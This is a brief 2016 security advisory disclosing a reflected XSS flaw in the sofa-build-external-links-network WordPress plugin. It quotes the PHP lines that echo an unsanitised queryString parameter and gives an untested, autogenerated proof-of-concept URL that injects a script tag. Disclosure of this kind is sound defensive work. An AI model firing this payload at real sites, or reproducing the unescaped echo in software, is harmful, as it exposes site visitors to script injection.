Advisory #: 396
Title: Reflected XSS in wordpress plugin sofa-build-external-links-network vThe
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/sofa-build-external-links-network
Downloads: 11562
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: sofa-build-external-links-network
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./sofa-build-external-links-network/sofa.php: 89: <input type="text" name="searchQuery" id="searchQuery" value="<?php echo $_GET['queryString']?>"/> 134: getArticles('<?php echo $_GET['queryString']?>'); The variable queryString appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./sofa-build-external-links-network/sofa.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/sofa-build-external-links-network/sofa.php?queryString="><script>alert(1);</script><"